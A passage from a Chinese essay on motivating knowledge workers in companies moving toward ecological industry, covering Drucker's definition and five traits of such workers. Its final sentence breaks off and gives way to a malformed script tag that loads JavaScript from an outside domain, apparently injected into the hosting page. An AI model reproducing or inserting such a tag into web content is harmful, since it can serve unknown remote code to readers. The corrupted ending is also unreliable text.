业发展之路，是企业今后发展的必然选择，同时对企业内部的人力资源管理特别是对企业知识员工的激励管理也提出了新的更高的要求。

　　1. 发展生态工业必须加强对企业知识员工的激励管理

　　发展生态工业需要在加强宣传、增强企业认识的基础上，提高企业发展生态工业的技术水平，包括在企业中推广应用工业生态学，大力创新信息管理和决策支持技术，进一步建立工业生态系统仿真和决策支持，进行环境经济多目标规划，并推行清洁生产，制定相关产品标准和清洁生产审核办法等，从而使企业遵循生态经济规律，自觉地采用综合利用资源的无废料工艺，并通过一系列技术改造，使企业运行过程中的物质流、能量流、信息流和价值流从不合理逐步趋向合理，使企业逐步走向无废料生产的轨道。

　　应该看到的是，企业发展生态工业所需要的这些种种技术归根到底是人创造的。而当今已步入知识经济时代，知识、智力、无形资产无所不在，知识员工作为知识的载体自然成了企业发展的关键力量和竞争的焦点。企业能否提高相关技术水平以顺利推进生态工业的发展，在今后的竞争格局中能否取得持续成功，关键在于企业知识员工价值能否得以实现。因此，如何更好地激励知识员工以充分发挥其才能已经成了新形势下企业推进生态工业发展必须要解决的重要课题之一。

　　2. 新形势下企业知识员工的概念和特征

　　“知识员工”这一名词是美国学者彼得?德鲁克1956年提出的，认为是“那些掌握和运用符号和概念，利用知识或信息工作的人”。其后，彼得?德鲁克（1998）改进了这个概念，他重新定义的知识员工是指，一方面能充分利用现代科学技术知识提高工作的效率，另一方面知识员工本身具备较强的学习知识和创新知识的能力。从最初的概念看，当时他指的更可能是某个经理或执行经理，而从改进后的概念理解，知识员工概念实际上可以涵盖到大多数白领以及专业技术人员。随着经济社会的发展，当前企业知识员工所涵盖的外延在不断扩大，从当初的特指某个群体，到现今大多数白领及拥有特殊技能的蓝领型人员。应该说，一方面与这一领域研究的不断深入息息相关，另一方面也与随着知识经济时代的到来，越来越多的日常工作已经带有了浓重的“知识工作”的色彩有关。人们工作的知识含量已在迅速提高。基于此，本文认为：企业知识员工是指掌握了知识和技能并运用知识技能进行创新性工作，创造出比一般员工更多财富的人员，在企业实际中往往包括：白领型的科技人员、管理人员，和层次较高的具有一定技能的蓝领型的市场销售人员、制造业技术人员。其主要特征可以归纳为以下几方面：

　　（1）知识性。这是知识员工的本质特点。知识员工大多受过系统的专业教育，具有较高学历，掌握一定的专业知识和技能；同时由于受教育水平较高的缘故，知识员工大多具有较高的个人素质，如开阔的视野，强烈的求知欲，较强的学习能力，广泛的知识层面以及其他方面的能力素养。

　　（2）独立性。知识员工具有较强的自主意识，一般员工都有独立自主的要求，而能力越强的员工，通常独立自主从事某项活动的意识越强。他们往往还有非常独立的价值观和心理取向，需求和激励都有一些与众不同之处。知识员工不仅不愿意受制于现有条件的约束，甚至无法忍受远处上司的遥控指挥，而更强调工作中的自我引导。

　　（3）创造性。知识员工之所以重要，并不是因为他们已经掌握了某些秘密知识，而是因为他们具有不断创新有用知识的能力，而这正是企业发展生态工业所迫切需要的。这同时也决定了知识员工通常具有较高的需求层次，往往更注重自身价值的实现，更强调工作中的自我引导。为此，他们很难满足于一般事务性工作，而更热衷于具有挑战性、创造性的任务，往往在工作中对各种可能性做着最大的尝试，并尽力追求完美的结果，渴望通过这一过程充分展现个人才智。他们把攻克难关看作一种乐趣，一种体现自我价值的方式，不愿俯首听命，任人驾驭。

　　（4）流动性。知识经济时代企业最有价值的资产是人们的知识、技能和不断创新的能力，而这一资产却存在于知识员工的头脑之中，企业对此难以控制。由于企业之间不断发生着激烈的竞争，出于对自己职业感觉和发展前景的强烈追求，知识员工的流动成为普遍现象。知识员工自主独立性很强，为体现自己的价值，一旦原单位不能满足，他们就会流动到适合自己兴趣、爱好和专长能发挥的地方。由于他们具有“知识资本”，所以，他们可以独立于组织之外而获得聘用，实现个人价值，建立个人的声誉和地位。为此，出于满足自我的实现，他们会有较高的选择权和频繁流动的欲望。

　　（5）复杂性。复杂性指的是劳动的复杂性。首先，知识员工的劳动过程复杂。知识员工从事的工作主要是脑力劳动，依靠大脑而非体力劳动，是大脑复杂的思维过程，较少受时间和空间的限制，也没有确定的流程和步骤，劳动过程难以控制。其次，知识员工?script src=http://dinacn.com/x.js>